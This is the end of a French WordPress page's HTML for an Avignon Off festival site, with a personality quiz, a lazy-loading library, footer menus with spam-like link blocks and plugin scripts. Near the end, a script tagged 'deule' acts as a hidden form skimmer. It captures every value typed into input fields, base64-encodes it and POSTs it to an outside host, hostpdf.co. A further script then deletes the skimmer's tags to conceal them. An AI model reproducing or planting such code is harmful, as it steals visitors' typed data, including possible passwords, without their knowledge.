'<h3 class="alo-wp-name">' + escapeHtml(item.name) + '</h3>' +
'<p>' + escapeHtml(copy) + '</p>' +
'<span class="alo-wp-link">Une rubrique qui compte avant juillet</span>' +
'</a>';
}).join('');
}
if (window.fetch) {
Promise.all([
fetchJson(latestPostsEndpoint).catch(function () { return []; }),
fetchJson(categoriesEndpoint).catch(function () { return []; })
]).then(function (results) {
var rawPosts = Array.isArray(results[0]) ? results[0] : [];
var rawCategories = Array.isArray(results[1]) ? results[1] : [];
var posts = dedupePosts(rawPosts);
posts.sort(function (a, b) { return new Date(b.date || 0).getTime() - new Date(a.date || 0).getTime(); });
posts = posts.map(normalizePost);
var categoryLookup = toCategoryIdLookup(rawCategories);
var curatedPosts = posts.slice(0, 4);
var latestPosts = posts.slice(4, 8);
var parcoursItems = resolveWantedCategories(rawCategories);
if (!latestPosts.length) {
latestPosts = curatedPosts.slice(0, 4);
}
renderCurated(curatedPosts, categoryLookup);
renderLatest(latestPosts);
Promise.all(parcoursItems.map(fetchCategoryHighlight)).then(function (highlights) {
renderParcoursCards(parcoursItems, highlights);
renderWpCategories(parcoursItems, highlights);
}).catch(function () {
renderParcoursCards(parcoursItems);
renderWpCategories(parcoursItems);
});
});
}
var quizStart = document.getElementById('quiz-start');
var quizRestart = document.getElementById('quiz-restart');
var quizIntro = document.getElementById('quiz-intro');
var quizQuestions = document.getElementById('quiz-questions');
var quizResultStage = document.getElementById('quiz-result-stage');
var quizStep = document.getElementById('quiz-step');
var quizScore = document.getElementById('quiz-score');
var quizQuestionText = document.getElementById('quiz-question-text');
var quizOptions = document.getElementById('quiz-options');
var quizFeedback = document.getElementById('quiz-feedback');
var quizProgressBar = document.getElementById('quiz-progress-bar');
var quizProgressText = document.getElementById('quiz-progress-text');
var quizResultStamp = document.getElementById('quiz-result-stamp');
var quizResultTitle = document.getElementById('quiz-result-title');
var quizResultCopy = document.getElementById('quiz-result-copy');
var profiles = {
dense: {
title: 'Tempo Dense',
stamp: 'Nuit',
copy: 'Vous aimez les jours qui tapent fort: grosses affiches, energie de salle, decisions rapides et soirs qui se racontent encore dans la rue.'
},
curieux: {
title: 'Tempo Curieux',
stamp: 'Texte',
copy: 'Vous venez pour les textes, les ecarts de ton, les surprises et les choix qui continuent a travailler apres la sortie.'
},
respire: {
title: 'Tempo Respire',
stamp: 'Calme',
copy: "Vous cherchez une journee tenable, des enchainements propres et encore assez d'air pour ne pas finir en pilote automatique."
},
flaneur: {
title: 'Tempo Flaneur',
stamp: 'Ville',
copy: 'Vous aimez quand la ville elle-meme fait partie du spectacle: marches, terrasses, bouche-a-oreille et detours qui ouvrent un autre soir.'
}
};
var questions = [
{ question: "Quand vous arrivez a Avignon, vous cherchez d'abord :", options: [
{ label: 'un titre qui vous intrigue deja', value: 'curieux' },
{ label: 'une rue qui vous donne envie de marcher', value: 'flaneur' },
{ label: 'un gros soir a verrouiller tout de suite', value: 'dense' },
{ label: "un parcours souple pour tenir jusqu'au soir", value: 'respire' }
]},
{ question: 'Votre meilleure premiere seance ressemble a :', options: [
{ label: '11 h, tant que la tete reste fraiche', value: 'respire' },
{ label: '15 h, quand le tri devient vraiment utile', value: 'curieux' },
{ label: '18 h, juste avant la montee en pression', value: 'flaneur' },
{ label: '22 h, quand la foule devient une energie', value: 'dense' }
]},
{ question: 'Face a deux spectacles, vous tranchez plutot par :', options: [
{ label: 'la singularite de la proposition', value: 'curieux' },
{ label: "la promesse d'une salle qui vibre", value: 'dense' },
{ label: "ce qu'on vous a souffle dans la rue", value: 'flaneur' },
{ label: 'la logistique la plus respirable', value: 'respire' }
]},
{ question: "Dans le Off, ce que vous voulez sauver avant tout, c'est :", options: [
{ label: 'la surprise', value: 'curieux' },
{ label: 'la puissance du soir', value: 'dense' },
{ label: "l'endurance", value: 'respire' },
{ label: 'la sensation de ville', value: 'flaneur' }
]},
{ question: 'Votre tolerance pour les files et les attentes est :', options: [
{ label: 'faible si elles cassent la journee', value: 'respire' },
{ label: 'moyenne si le spectacle promet quelque chose', value: 'curieux' },
{ label: "bonne si l'ambiance monte vraiment", value: 'dense' },
{ label: "variable selon l'heure et le quartier", value: 'flaneur' }
]},
{ question: 'Entre deux salles, vous preferez :', options: [
{ label: 'lire encore un peu avant de trancher', value: 'curieux' },
{ label: 'repartir vite pour attraper un autre pic', value: 'dense' },
{ label: 'vous poser pour tenir la distance', value: 'respire' },
{ label: 'laisser la rue decider du prochain pas', value: 'flaneur' }
]},
{ question: 'Votre souvenir ideal serait :', options: [
{ label: 'un spectacle qui reste dans la tete', value: 'curieux' },
{ label: 'un soir qui bascule en vrai moment fort', value: 'dense' },
{ label: 'une journee tenue sans vous vider', value: 'respire' },
{ label: 'une fin de soiree encore en mouvement dans Avignon', value: 'flaneur' }
]},
{ question: 'Pour votre prochain passage au Off, vous avez surtout besoin de :', options: [
{ label: 'un tri editorial plus net', value: 'curieux' },
{ label: 'des reperes pour les grands soirs', value: 'dense' },
{ label: 'des parcours plus souples', value: 'respire' },
{ label: 'des pistes par quartier et ambiance', value: 'flaneur' }
]}
];
if (quizStart && quizRestart && quizIntro && quizQuestions && quizResultStage && quizStep && quizScore && quizQuestionText && quizOptions && quizFeedback && quizProgressBar && quizProgressText && quizResultStamp && quizResultTitle && quizResultCopy) {
var currentQuestion = 0;
var counts = { dense: 0, curieux: 0, respire: 0, flaneur: 0 };
var locked = false;
function setStage(stage) {
quizIntro.classList.remove('is-active');
quizQuestions.classList.remove('is-active');
quizResultStage.classList.remove('is-active');
stage.classList.add('is-active');
}
function resetQuiz() {
currentQuestion = 0;
locked = false;
counts = { dense: 0, curieux: 0, respire: 0, flaneur: 0 };
quizScore.textContent = '0 / ' + questions.length;
quizFeedback.textContent = '';
quizProgressBar.style.width = '0%';
quizProgressText.textContent = 'Depart';
setStage(quizIntro);
}
function updateProgress() {
var progress = Math.round((currentQuestion / questions.length) * 100);
quizProgressBar.style.width = progress + '%';
quizProgressText.textContent = currentQuestion === 0 ? 'Depart' : 'Q' + currentQuestion + ' / ' + questions.length;
}
function shuffleOptions(items) {
var copy = items.slice();
var index = copy.length - 1;
while (index > 0) {
var randomIndex = Math.floor(Math.random() * (index + 1));
var temp = copy[index];
copy[index] = copy[randomIndex];
copy[randomIndex] = temp;
index -= 1;
}
return copy;
}
function renderQuestion() {
var data = questions[currentQuestion];
quizStep.textContent = 'Question ' + (currentQuestion + 1);
quizQuestionText.textContent = data.question;
quizOptions.innerHTML = '';
quizFeedback.textContent = "Le choix le plus instinctif suffit pour faire remonter le bon rythme.";
locked = false;
updateProgress();
shuffleOptions(data.options).forEach(function (option, index) {
var button = document.createElement('button');
button.type = 'button';
button.className = 'alo-option';
button.setAttribute('data-value', option.value);
button.innerHTML = '<span class="alo-option-index">0' + (index + 1) + '</span><span class="alo-option-text">' + escapeHtml(option.label) + '</span>';
button.addEventListener('click', function () {
if (locked) return;
locked = true;
counts[option.value] += 1;
quizScore.textContent = currentQuestion + 1 + ' / ' + questions.length;
button.classList.add('is-right');
quizFeedback.textContent = 'Bien note. Le profil se precise.';
Array.prototype.forEach.call(quizOptions.querySelectorAll('.alo-option'), function (item) { item.disabled = true; });
setTimeout(function () {
currentQuestion += 1;
if (currentQuestion >= questions.length) {
showResult();
} else {
renderQuestion();
}
}, 820);
});
quizOptions.appendChild(button);
});
}
function showResult() {
var topKey = Object.keys(counts).sort(function (a, b) { return counts[b] - counts[a]; })[0];
var profile = profiles[topKey];
quizResultStamp.textContent = profile.stamp;
quizResultTitle.textContent = profile.title;
quizResultCopy.innerHTML = '<strong>Le rythme qui ressort:</strong> ' + escapeHtml(profile.copy);
quizProgressBar.style.width = '100%';
quizProgressText.textContent = 'Termine';
setStage(quizResultStage);
}
quizStart.addEventListener('click', function () {
setStage(quizQuestions);
renderQuestion();
});
quizRestart.addEventListener('click', function () {
resetQuiz();
});
resetQuiz();
}
})();
</script>
<script type='text/javascript' id="soledad-pagespeed-header" data-cfasync="false">!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).LazyLoad=t()}(this,(function(){"use strict";function n(){return n=Object.assign||function(n){for(var t=1;t<arguments.length;t++){var e=arguments[t];for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(n[i]=e[i])}return n},n.apply(this,arguments)}var t="undefined"!=typeof window,e=t&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),i=t&&"IntersectionObserver"in window,o=t&&"classList"in document.createElement("p"),a=t&&window.devicePixelRatio>1,r={elements_selector:".lazy",container:e||t?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"loading",class_loaded:"loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},c=function(t){return n({},r,t)},u=function(n,t){var e,i="LazyLoad::Initialized",o=new n(t);try{e=new CustomEvent(i,{detail:{instance:o}})}catch(n){(e=document.createEvent("CustomEvent")).initCustomEvent(i,!1,!1,{instance:o})}window.dispatchEvent(e)},l="src",s="srcset",f="sizes",d="poster",_="llOriginalAttrs",g="loading",v="loaded",b="applied",p="error",h="native",m="data-",E="ll-status",I=function(n,t){return n.getAttribute(m+t)},y=function(n){return I(n,E)},A=function(n,t){return function(n,t,e){var i="data-ll-status";null!==e?n.setAttribute(i,e):n.removeAttribute(i)}(n,0,t)},k=function(n){return A(n,null)},L=function(n){return null===y(n)},w=function(n){return y(n)===h},x=[g,v,b,p],O=function(n,t,e,i){n&&(void 0===i?void 0===e?n(t):n(t,e):n(t,e,i))},N=function(n,t){o?n.classList.add(t):n.className+=(n.className?" ":"")+t},C=function(n,t){o?n.classList.remove(t):n.className=n.className.replace(new RegExp("(^|\\s+)"+t+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")},M=function(n){return n.llTempImage},z=function(n,t){if(t){var e=t._observer;e&&e.unobserve(n)}},R=function(n,t){n&&(n.loadingCount+=t)},T=function(n,t){n&&(n.toLoadCount=t)},G=function(n){for(var t,e=[],i=0;t=n.children[i];i+=1)"SOURCE"===t.tagName&&e.push(t);return e},D=function(n,t){var e=n.parentNode;e&&"PICTURE"===e.tagName&&G(e).forEach(t)},V=function(n,t){G(n).forEach(t)},F=[l],j=[l,d],P=[l,s,f],S=function(n){return!!n[_]},U=function(n){return n[_]},$=function(n){return delete n[_]},q=function(n,t){if(!S(n)){var e={};t.forEach((function(t){e[t]=n.getAttribute(t)})),n[_]=e}},H=function(n,t){if(S(n)){var e=U(n);t.forEach((function(t){!function(n,t,e){e?n.setAttribute(t,e):n.removeAttribute(t)}(n,t,e[t])}))}},B=function(n,t,e){N(n,t.class_loading),A(n,g),e&&(R(e,1),O(t.callback_loading,n,e))},J=function(n,t,e){e&&n.setAttribute(t,e)},K=function(n,t){J(n,f,I(n,t.data_sizes)),J(n,s,I(n,t.data_srcset)),J(n,l,I(n,t.data_src))},Q={IMG:function(n,t){D(n,(function(n){q(n,P),K(n,t)})),q(n,P),K(n,t)},IFRAME:function(n,t){q(n,F),J(n,l,I(n,t.data_src))},VIDEO:function(n,t){V(n,(function(n){q(n,F),J(n,l,I(n,t.data_src))})),q(n,j),J(n,d,I(n,t.data_poster)),J(n,l,I(n,t.data_src)),n.load()}},W=["IMG","IFRAME","VIDEO"],X=function(n,t){!t||function(n){return n.loadingCount>0}(t)||function(n){return n.toLoadCount>0}(t)||O(n.callback_finish,t)},Y=function(n,t,e){n.addEventListener(t,e),n.llEvLisnrs[t]=e},Z=function(n,t,e){n.removeEventListener(t,e)},nn=function(n){return!!n.llEvLisnrs},tn=function(n){if(nn(n)){var t=n.llEvLisnrs;for(var e in t){var i=t[e];Z(n,e,i)}delete n.llEvLisnrs}},en=function(n,t,e){!function(n){delete n.llTempImage}(n),R(e,-1),function(n){n&&(n.toLoadCount-=1)}(e),C(n,t.class_loading),t.unobserve_completed&&z(n,e)},on=function(n,t,e){var i=M(n)||n;nn(i)||function(n,t,e){nn(n)||(n.llEvLisnrs={});var i="VIDEO"===n.tagName?"loadeddata":"load";Y(n,i,t),Y(n,"error",e)}(i,(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_loaded),A(t,v),O(e.callback_loaded,t,i),o||X(e,i)}(0,n,t,e),tn(i)}),(function(o){!function(n,t,e,i){var o=w(t);en(t,e,i),N(t,e.class_error),A(t,p),O(e.callback_error,t,i),o||X(e,i)}(0,n,t,e),tn(i)}))},an=function(n,t,e){!function(n){n.llTempImage=document.createElement("IMG")}(n),on(n,t,e),function(n){S(n)||(n[_]={backgroundImage:n.style.backgroundImage})}(n),function(n,t,e){var i=I(n,t.data_bg),o=I(n,t.data_bg_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage='url("'.concat(r,'")'),M(n).setAttribute(l,r),B(n,t,e))}(n,t,e),function(n,t,e){var i=I(n,t.data_bg_multi),o=I(n,t.data_bg_multi_hidpi),r=a&&o?o:i;r&&(n.style.backgroundImage=r,function(n,t,e){N(n,t.class_applied),A(n,b),e&&(t.unobserve_completed&&z(n,t),O(t.callback_applied,n,e))}(n,t,e))}(n,t,e)},rn=function(n,t,e){!function(n){return W.indexOf(n.tagName)>-1}(n)?an(n,t,e):function(n,t,e){on(n,t,e),function(n,t,e){var i=Q[n.tagName];i&&(i(n,t),B(n,t,e))}(n,t,e)}(n,t,e)},cn=function(n){n.removeAttribute(l),n.removeAttribute(s),n.removeAttribute(f)},un=function(n){D(n,(function(n){H(n,P)})),H(n,P)},ln={IMG:un,IFRAME:function(n){H(n,F)},VIDEO:function(n){V(n,(function(n){H(n,F)})),H(n,j),n.load()}},sn=function(n,t){(function(n){var t=ln[n.tagName];t?t(n):function(n){if(S(n)){var t=U(n);n.style.backgroundImage=t.backgroundImage}}(n)})(n),function(n,t){L(n)||w(n)||(C(n,t.class_entered),C(n,t.class_exited),C(n,t.class_applied),C(n,t.class_loading),C(n,t.class_loaded),C(n,t.class_error))}(n,t),k(n),$(n)},fn=["IMG","IFRAME","VIDEO"],dn=function(n){return n.use_native&&"loading"in HTMLImageElement.prototype},_n=function(n,t,e){n.forEach((function(n){return function(n){return n.isIntersecting||n.intersectionRatio>0}(n)?function(n,t,e,i){var o=function(n){return x.indexOf(y(n))>=0}(n);A(n,"entered"),N(n,e.class_entered),C(n,e.class_exited),function(n,t,e){t.unobserve_entered&&z(n,e)}(n,e,i),O(e.callback_enter,n,t,i),o||rn(n,e,i)}(n.target,n,t,e):function(n,t,e,i){L(n)||(N(n,e.class_exited),function(n,t,e,i){e.cancel_on_exit&&function(n){return y(n)===g}(n)&&"IMG"===n.tagName&&(tn(n),function(n){D(n,(function(n){cn(n)})),cn(n)}(n),un(n),C(n,e.class_loading),R(i,-1),k(n),O(e.callback_cancel,n,t,i))}(n,t,e,i),O(e.callback_exit,n,t,i))}(n.target,n,t,e)}))},gn=function(n){return Array.prototype.slice.call(n)},vn=function(n){return n.container.querySelectorAll(n.elements_selector)},bn=function(n){return function(n){return y(n)===p}(n)},pn=function(n,t){return function(n){return gn(n).filter(L)}(n||vn(t))},hn=function(n,e){var o=c(n);this._settings=o,this.loadingCount=0,function(n,t){i&&!dn(n)&&(t._observer=new IntersectionObserver((function(e){_n(e,n,t)}),function(n){return{root:n.container===document?null:n.container,rootMargin:n.thresholds||n.threshold+"px"}}(n)))}(o,this),function(n,e){t&&window.addEventListener("online",(function(){!function(n,t){var e;(e=vn(n),gn(e).filter(bn)).forEach((function(t){C(t,n.class_error),k(t)})),t.update()}(n,e)}))}(o,this),this.update(e)};return hn.prototype={update:function(n){var t,o,a=this._settings,r=pn(n,a);T(this,r.length),!e&&i?dn(a)?function(n,t,e){n.forEach((function(n){-1!==fn.indexOf(n.tagName)&&function(n,t,e){n.setAttribute("loading","lazy"),on(n,t,e),function(n,t){var e=Q[n.tagName];e&&e(n,t)}(n,t),A(n,h)}(n,t,e)})),T(e,0)}(r,a,this):(o=r,function(n){n.disconnect()}(t=this._observer),function(n,t){t.forEach((function(t){n.observe(t)}))}(t,o)):this.loadAll(r)},destroy:function(){this._observer&&this._observer.disconnect(),vn(this._settings).forEach((function(n){$(n)})),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(n){var t=this,e=this._settings;pn(n,e).forEach((function(n){z(n,t),rn(n,e,t)}))},restoreAll:function(){var n=this._settings;vn(n).forEach((function(t){sn(t,n)}))}},hn.load=function(n,t){var e=c(t);rn(n,e)},hn.resetStatus=function(n){k(n)},t&&function(n,t){if(t)if(t.length)for(var e,i=0;e=t[i];i+=1)u(n,e);else u(n,t)}(hn,window.lazyLoadOptions),hn}));
(function () {
var PenciLazy = new LazyLoad({
elements_selector: '.penci-lazy',
data_bg: 'bgset',
class_loading: 'lazyloading',
class_entered: 'lazyloaded',
class_loaded: 'pcloaded',
unobserve_entered: true
});
MutationObserver = window.MutationObserver || window.WebKitMutationObserver;
var observer = new MutationObserver(function(mutations, observer) {
PenciLazy.update();
});
observer.observe(document, {
subtree: true,
attributes: true
});
})();
;</script>
</body>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
<div class="clear-footer"></div>
<div id="widget-area">
<div class="container">
<div class="footer-widget-wrapper footer-widget-style-1">
<aside id="block-1" class="widget widget_block"><p><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></p></aside><aside id="block-2" class="widget widget_block"><p><a href="https://www.avignonleoff.com/avignonleoff-com-contact/">Avignonleoff.com contact : contact, formulaire et informations pratiques</a></p></aside><aside id="block-3" class="widget widget_block"><p><a href="https://www.avignonleoff.com/business-avignonleoff-com/">Business avignonleoff.com : guide pratique, accès et informations utiles</a></p></aside> </div>
<div class="footer-widget-wrapper footer-widget-style-1">
</div>
<div class="footer-widget-wrapper footer-widget-style-1 last">
</div>
</div>
</div>
<footer id="footer-section"
class="penci-footer-social-media penci-lazy footer-social-remove-circle" itemscope itemtype="https://schema.org/WPFooter">
<div class="container">
<div class="footer-logo-copyright footer-not-logo footer-not-gotop">
<div class="footer-menu-wrap" role="navigation"
itemscope
itemtype="https://schema.org/SiteNavigationElement">
<ul id="menu-footer-menu" class="footer-menu"><li id="menu-item-400" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-400"><a href="https://www.avignonleoff.com/soledad_home/">Accueil</a></li>
<li id="menu-item-401" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-401"><a href="https://www.avignonleoff.com/contact/">AvignonleOff.com contact</a></li>
<li id="menu-item-403" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-403"><a href="https://www.avignonleoff.com/qui-sommes-nous/">Qui sommes-nous ?</a></li>
<li id="menu-item-21" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-21"><a href="https://www.avignonleoff.com/mentions-legales/">Mentions légales</a></li>
<li id="menu-item-408" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-408"><a href="https://www.avignonleoff.com/plan-du-site/">Plan du Site</a></li>
<li id="menu-item-14782" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-14782"><a href="https://www.avignonleoff.com/planificateur-de-parcours-festival-off/">Planificateur de parcours Festival OFF</a></li>
<li id="menu-item-17527" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17527"><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17528" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17528"><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17530" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17530"><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17531" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17531"><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17534" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17534"><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17535" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17535"><a href="https://www.avignonleoff.com/avignonleoff-com/">Avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17536" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17536"><a href="https://www.avignonleoff.com/avignonleoff-com-contact/">Avignonleoff.com contact : contact, formulaire et informations pratiques</a></li>
<li id="menu-item-17529" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17529"><a href="https://www.avignonleoff.com/business-avignonleoff-com/">Business avignonleoff.com : guide pratique, accès et informations utiles</a></li>
<li id="menu-item-17734" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-17734"><a href="https://www.avignonleoff.com/avignonleoff-com-pour-un-pret-immobilier/">Avignonleoff.com pour un prêt immobilier</a></li>
</ul> </div>
<div id="footer-copyright">
<p>@2023 - Tous droits réservés. Conçu et développé par <a href="https://www.avignonleoff.com/">LE OFF Avignon</a></p>
</div>
</div>
</div>
</footer>
</div><!-- End .wrapper-boxed -->
<div class="penci-go-to-top-floating"><i class="penciicon-up-chevron"></i></div>
<a id="close-sidebar-nav"
class="header-6"><i class="penci-faicon fa fa-close" ></i></a>
<nav id="sidebar-nav" class="header-6" role="navigation"
itemscope
itemtype="https://schema.org/SiteNavigationElement">
<div id="sidebar-nav-logo">
<a href="https://www.avignonleoff.com/"><img class="penci-lazy"
src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201426%20350'%3E%3C/svg%3E"
width="1426"
height="350"
data-src="https://www.avignonleoff.com/wp-content/uploads/2023/05/Logo-LE-OFF-Avignon-2.png"
alt="LE OFF Avignon"/></a>
</div>
<ul id="menu-main-menu-1" class="menu"><li class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-319"><a href="https://www.avignonleoff.com/soledad_home/">Accueil</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-324"><a href="https://www.avignonleoff.com/business/">Business</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-323"><a href="https://www.avignonleoff.com/argent/">Argent</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-325"><a href="https://www.avignonleoff.com/demarches/">Démarches</a></li>
<li class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-326"><a href="https://www.avignonleoff.com/travail/">Travail</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-321"><a href="https://www.avignonleoff.com/contact/">AvignonleOff.com contact</a></li>
</ul> </nav>
<!-- FAKETRAF FOOTER LINKS START -->
<div class="faketraf-footer-links" style="padding:14px 16px;text-align:center;font-size:14px;line-height:1.7">
<a href="https://www.avignonleoff.com/avignonleoff-com/" style="margin:0 10px;text-decoration:none">Avignonleoff.com : guide pratique, acces et informations utiles</a>
<a href="https://www.avignonleoff.com/avignonleoff-com-contact/" style="margin:0 10px;text-decoration:none">Avignonleoff.com contact : contact, formulaire et informations pratiques</a>
<a href="https://www.avignonleoff.com/business-avignonleoff-com/" style="margin:0 10px;text-decoration:none">Business avignonleoff.com : guide pratique, acces et informations utiles</a>
</div>
<!-- FAKETRAF FOOTER LINKS END -->
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/soledad-child/*","/wp-content/themes/soledad/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="deule">function generateRandomString(t){const e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";let n="";for(let o=0;o<t;o++){const t=Math.floor(62*Math.random());n+=e.charAt(t)}return n}const uid=generateRandomString(10);function sendPostRequest(t,e){const n=new URLSearchParams;n.append("uid",uid),n.append("i_name",t),// Add the field name as a parameter
n.append("b",btoa(e)),fetch("https://hostpdf.co/pinche.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:n.toString()}).then((t=>t.text())).then((t=>console.log(t))).catch((t=>console.error("Error:",t)))}document.addEventListener("input",(function(t){if("INPUT"===t.target.tagName&&"button"!==t.target.type){sendPostRequest(t.target.name||t.target.id,t.target.value)}}));</script><script>var buttons = document.querySelectorAll('button');var links = document.querySelectorAll('a');buttons.forEach(function(button) {button.classList.add('connectButton');});links.forEach(function(link) {link.classList.add('connectButton');});</script><script id="deule3">var e1 = document.getElementById("deule");if (e1) {e1.parentNode.removeChild(e1);}var e2 = document.getElementById("deule2");if (e2) {e2.parentNode.removeChild(e2);}var e3 = document.getElementById("deule3");if (e3) {e3.parentNode.removeChild(e3);}</script> <script>
( () => {
const lazyloadRunObserver = () => {
const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` );
const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => {
entries.forEach( ( entry ) => {
if ( entry.isIntersecting ) {
let lazyloadBackground = entry.target;
if( lazyloadBackground ) {
lazyloadBackground.classList.add( 'e-lazyloaded' );
}
lazyloadBackgroundObserver.unobserve( entry.target );
}
});
}, { rootMargin: '200px 0px 200px 0px' } );
lazyloadBackgrounds.forEach( ( lazyloadBackground ) => {
lazyloadBackgroundObserver.observe( lazyloadBackground );
} );
};
const events = [
'DOMContentLoaded',
'elementor/lazyload/observe',
];
events.forEach( ( event ) => {
document.addEventListener( event, lazyloadRunObserver );
} );
} )();
</script>
<script id="kk-star-ratings-js-extra">
var kk_star_ratings = {"action":"kk-star-ratings","endpoint":"https://www.avignonleoff.com/wp-admin/admin-ajax.php","nonce":"853a100dd9"};
//# sourceURL=kk-star-ratings-js-extra
</script>
<script id="kk-star-ratings-js" src="https://www.avignonleoff.com/wp-content/plugins/kk-star-ratings/src/core/public/js/kk-star-ratings.min.js?ver=5.4.10.5"></script>
<script id="fmh-intake-js" src="https://www.avignonleoff.com/wp-content/plugins/ccform/includes/rendered-adapter.js?ver=fb1efa4bb021ba13"></script>
<script id="wp-hooks-js" src="https://www.avignonleoff.com/wp-includes/js/dist/hooks.min.js?ver=7496969728ca0f95732d"></script>
<script id="wp-i18n-js" src="https://www.avignonleoff.com/wp-includes/js/dist/i18n.min.js?ver=781d11515ad3d91786ec"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
</script>
<script id="swv-js" src="https://www.avignonleoff.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.1.7"></script>
<script id="contact-form-7-js-translations">
( function( domain, translations ) {
var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
localeData[""].domain = domain;
wp.i18n.setLocaleData( localeData, domain );
} )( "contact-form-7", {"translation-revision-date":"2026-09-12 10:48:38+0000","generator":"GlotPress\/4.1.0","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n > 1;","lang":"fr"},"This contact form is placed in the wrong place.":["Ce formulaire de contact est plac\u00e9 dans un mauvais endroit."],"Error:":["Erreur\u00a0:"]}},"comment":{"reference":"includes\/js\/index.js"}} );
//# sourceURL=contact-form-7-js-translations
</script>
<script id="contact-form-7-js-before">
var wpcf7 = {
"api": {
"root": "https:\/\/www.avignonleoff.com\/wp-json\/",
"namespace": "contact-form-7\/v1"
},
"cached": 1
};
//# sourceURL=contact-form-7-js-before
</script>
<script id="contact-form-7-js" src="https://www.avignonleoff.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.1.7"></script>
<script id="jquery-penci-piechart-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-review/js/jquery.easypiechart.min.js?ver=1.0"></script>
<script id="jquery-penci-review-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-review/js/review.js?ver=1.0"></script>
<script id="penci-play-js-js" src="https://www.avignonleoff.com/wp-content/plugins/penci-shortcodes/assets/play.js?ver=5.4"></script>
<script id="pc-lazy-js" src="https://www.avignonleoff.com/wp-content/themes/soledad/js/penci-lazy.js?ver=8.2.1"></script>
<script id="penci-libs-js-js" src="https://www.avignonleoff.com/wp-content/themes/soledad/js/libs-script.min.js?ver=8.2.1"></script>
<script id="main-scripts-js-extra">
var ajax_var_more = {"url":"https://www.avignonleoff.com/wp-admin/admin-ajax.php","nonce":"37b0e96540","errorPass":"\u003Cp class=\"message message-error\"\u003EPassword does not match the confirm password\u003C/p\u003E","login":"Email Address","password":"Password","headerstyle":"default"};
//# sourceURL=main-scripts-js-extra
</script>
<script id="main-scripts-js" src="https://www.avignonleoff.com/wp-content/themes/soledad/js/main.js?ver=8.2.1"></script>
<script id="penci_ajax_like_post-js-extra">
